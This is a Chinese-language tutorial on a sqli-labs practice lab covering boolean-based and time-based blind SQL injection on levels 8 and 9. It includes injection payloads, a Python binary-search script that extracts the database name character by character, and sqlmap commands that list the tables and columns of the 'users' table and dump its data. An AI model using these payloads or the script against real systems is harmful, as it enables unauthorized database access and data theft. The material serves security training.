目录
渗透环境:
本次实验以sqli-labs-master靶机第八、九关为例,来实现布尔盲注和时间盲注。
实验过程:
布尔盲注:
初步渗透:
在第八关的时候,我们先?id=1发现显示的结果竟然是You are in..........,前几关都是显示id对应的账号密码,我们再试试其他的。
当我们使用order by 来判断字段数时发现输入1、2、3时页面继续显示You are in..........,当我们输入4时什么都不显示了,在前几关我们已经知道结果了,所以这种情况就好像当我们输入一个正确的查询语句时页面时You are in..........,当输入有错时就什么都不显示,这就好像布尔类型一样,只有真假两种情况。
利用二分法和ASCII码进行渗透:
?id=1' and ascii(substr((select database()),1,1))>=64--+
#对(select database())的第一个字母进行判断
此时我们发现数据库的第一个字母ASCII码大于100,此时范围就是64-128,再试试96以此类推我们就可以使用二分法来进行渗透了,但是这样子做效率太低了,当然我们可以来写一个简单的脚本来跑二分查找
python脚本利用二分法进行渗透:
我们可以发现二分法本来就是一个循环判断的过程,所以我们可以用程序代码来实现:
import requests
def inject_database(url):
name = '' #定义变量来接结果
for i in range(1, 20):#根据我们的结果来更改循环的次数
#定义low、high、mid来进行二分查找范围的判断
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr(database(),%d,1))> %d-- " % (i, mid)#这是我们要查询内容的语句
params = {"id":payload}
r = requests.get(url, params=params)
if 'You are in...........' in r.text:#页面为真进行的判断
low = mid + 1 #缩小范围
else: #页面为假进行的判断
high = mid #缩小范围
mid = (low + high) // 2
if mid == 32:
break
#输出结果
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://localhost/sqli-labs-master/Less-8/' #要执行脚本的网址
inject_database(url)#调用函数
执行结果:我们用python脚本得到了我们想要的结果,并且效率得到了很大的提升。还有一种叫做sqlmap的渗透工具我们一起来看看吧。
sqlmap渗透:
kali系统自带很多安全工具,所以比较推荐,
这个命令拿到当前数据库的所有库,我们可以发现有我们要的security库,很方便,很实用。
sqlmap基本使用规则:
常见参数:
参数 | 作用 |
-d | 连接数据库 |
--dbs | 列出所有的数据库 |
--current-db | 列出当前数据库 |
--tables | 列出当前的表 |
--columns | 列出当前的列 |
-D | 选择使用哪个数据库 |
-T | 选择使用哪个表 |
-C | 选择使用哪个列 |
--dump | 获取字段中的数据 |
使用命令:
#查找数据库为'security'的表
sqlmap -u 'http://192.168.10.27/sqli-labs-master/Less-8/?id=1' -D 'SECURITY' --tables
#查找数据库为'security'下 表名为'users'的字段信息(列名)
sqlmap -u 'http://192.168.10.27/sqli-labs-master/Less-8/?id=1' -D 'SECURITY' -T 'users' --columns
#查找数据库为'security'下 表名为'users'的数据
sqlmap -u 'http://192.168.10.27/sqli-labs-master/Less-8/?id=1' -D 'SECURITY' -T 'users' --dump
时间盲注:
来到第九关之后我们发现没有真假之分了,那么我们就可以使用时间盲注来解决
注入方法:
我们只需要在布尔盲注的基础上加入一个if判断,为真时加载2秒,为假时则什么都不做,其他地方跟布尔盲注没有太大区别。
?id=1' and if(ascii(substr((select database()),1,1)) >=64,sleep(2),0)--+
同样python脚本也可以使用,只需要在布尔盲注的脚本降入time方法,将判断真假条件变成写的sleep时间即可,sqlmap工具同样可以使用。
总结:
在这两种注入方法里我们可以发现布尔盲注和时间盲注的区别只是在与判断命令是否执行成功的条件不同,整体思路是一样的,包括在第15关中,判断条件变成了图片,而我们只需要在脚本中更改相应的判断条件即可,sqlmap工具同样可以使用。整体来说盲注都是一样的,不一样的只是判断语句是否执行成功的条件而已。